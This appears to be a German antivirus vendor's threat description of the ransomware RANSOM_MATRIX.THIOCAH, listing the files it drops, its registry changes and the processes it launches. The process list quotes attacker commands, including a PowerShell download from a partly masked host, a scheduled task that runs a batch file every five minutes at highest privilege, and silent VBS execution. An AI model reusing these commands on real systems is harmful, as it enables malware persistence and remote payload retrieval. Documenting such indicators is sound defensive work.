RANSOM_MATRIX.THIOCAH

Installation

Schleust die folgenden Eigenkopien in das betroffene System ein und führt sie aus:

• %System Root%\{Malware Path}\{Random Filename}.exe

(Hinweis: %System Root% ist der Stammordner, normalerweise C:\. Dort befindet sich auch das Betriebssystem.)

Schleust die folgenden Dateien ein:

• %System Root%\{Malware Path}\{Random numbers}_log.txt
• %System Root%\{Malware Path}\bad_{Random Characters}.txt
• %System Root%\{Malware Path}\elog_{Random Characters}.txt
• %System Root%\{Malware Path}\LFIN_{Random Characters}.txt
• %System Root%\{Malware Path}\{Random Filename}.bat
• %Application Data%\{Random Filename}.bat
• %Application Data%\{Random Filename}.vbs

(Hinweis: %System Root% ist der Stammordner, normalerweise C:\. Dort befindet sich auch das Betriebssystem.. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000, XP und Server 2003.)

Fügt die folgenden Prozesse hinzu:

• cmd.exe /C copy /V /Y "%System Root%\{Malware Path}\1.exe" "%System Root%\{Malware Path}\{Random Filename}.exe
• cmd.exe /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://{BLOCKED}nalip.com/raw')">"%System Root%\{Malware Path}\{Random Filename}txt"
• powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://{BLOCKED}nalip.com/raw')"
• cmd.exe /C reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%Application Data%\{Random Filename}}.bmp" /f & reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
• cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%Application Data%\{Random Filename}.bmp" /f
• cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
• cmd.exe reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
• cmd.exe wscript //B //Nologo "%Application Data%\{Random Filename}.vbs"
• cmd.exe schtasks /Create /tn DSHCA /tr "%Application Data%\{Random Filename}.bat" /sc minute /mo 5 /RL HIGHEST /F
• cmd.exe schtasks /Run /I /tn DSHCA

Andere Systemänderungen

Ändert das Hintergrundbild des Desktops durch Abänderung der folgenden Registrierungseinträge:

HKEY_CURRENT_USER\Control Panel\Desktop
Wallpaper = "%Application Data%\{Random Filename}.bmp"

HKEY_CURRENT_USER\Control Panel\Desktop
TileWallpaper = "0"

HKEY_CURRENT_USER\Control Panel\Desktop
WallpaperStyle = "0"